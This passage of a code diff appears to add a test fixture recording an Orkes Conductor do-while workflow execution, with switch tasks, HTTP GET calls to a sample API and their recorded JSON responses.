apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_third_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 745, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "vblryduefgemnwrifggg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6714, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "gspbuyqidhyripmblnhh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3391, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "qoauwnmkptdtwonrallz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 591, + hostName: "orkes-api-sampler-67dfc8cf58-mzb8h", + randomString: "osikimmicsohimctzynf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9953, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "mfdhzhvuammftfncjduz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + switch_ref: { + evaluationResult: ["4"], + selectedCase: "4", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7297, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "emnrcqiwfbrkybhsyptc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6651, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "uctrykkkcchadijylujt", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + http_ref_five: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1775, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "uscnqmblxmnegjlnbtaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + 6: { + http_ref_five: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9639, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "zwbfptybsvekbfvzbzml", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + 7: { + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2929, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ksityuwtdupeziewwqyh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1547, + hostName: "orkes-api-sampler-67dfc8cf58-mzb8h", + randomString: "xlttyspawtakwfzgslan", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + http_ref_cool: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 363, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "hhlhczvqswurlwzjclyi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_third_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5290, + hostName: "orkes-api-sampler-67dfc8cf58-sts78", + randomString: "ucbkmlxiyqnyakiqggrj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + switch_ref: { + evaluationResult: ["4"], + selectedCase: "4", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5292, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "zejbepozxwbqfguyhkal", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 234, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "ynvpazmgmmwgqjxnilxo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + switch_ref: { + evaluationResult: ["4"], + selectedCase: "4", + }, + http_second_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7926, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "rzcxmijtfvpcvxqrtblg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_four_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5867, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "lztsmmtdznjtgbjialsw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\nif ($.do_while_ref['iteration'] < $.number) {\nreturn true;\n}\nreturn false;\n})();", + loopOver: [ + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 0, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__1", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431102833, + startTime: 1711431102833, + endTime: 1711431102833, + updateTime: 1711431102833, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "20e9f857-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 0, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_third_ref__1", + retryCount: 0, + seq: 4, + pollCount: 1, + taskDefName: "http_third", + scheduledTime: 1711431102829, + startTime: 1711431102860, + endTime: 1711431102871, + updateTime: 1711431102860, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "20ebf428-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 745, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "vblryduefgemnwrifggg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 31, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_cool__1", + retryCount: 0, + seq: 5, + pollCount: 1, + taskDefName: "http_cool", + scheduledTime: 1711431102873, + startTime: 1711431102970, + endTime: 1711431102981, + updateTime: 1711431102971, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "20f2aae9-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4701, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "zflljulcusapgwfaiytx", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 97, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__2", + retryCount: 0, + seq: 6, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431103002, + startTime: 1711431103002, + endTime: 1711431103002, + updateTime: 1711431103002, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "2104100a-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 0, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__2", + retryCount: 0, + seq: 7, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711431103000, + startTime: 1711431103081, + endTime: 1711431103090, + updateTime: 1711431103081, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21060bdb-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6714, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "gspbuyqidhyripmblnhh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 81, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__2", + retryCount: 0, + seq: 8, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711431103094, + startTime: 1711431103191, + endTime: 1711431103201, + updateTime: 1711431103191, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21143cac-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3391, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "qoauwnmkptdtwonrallz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + 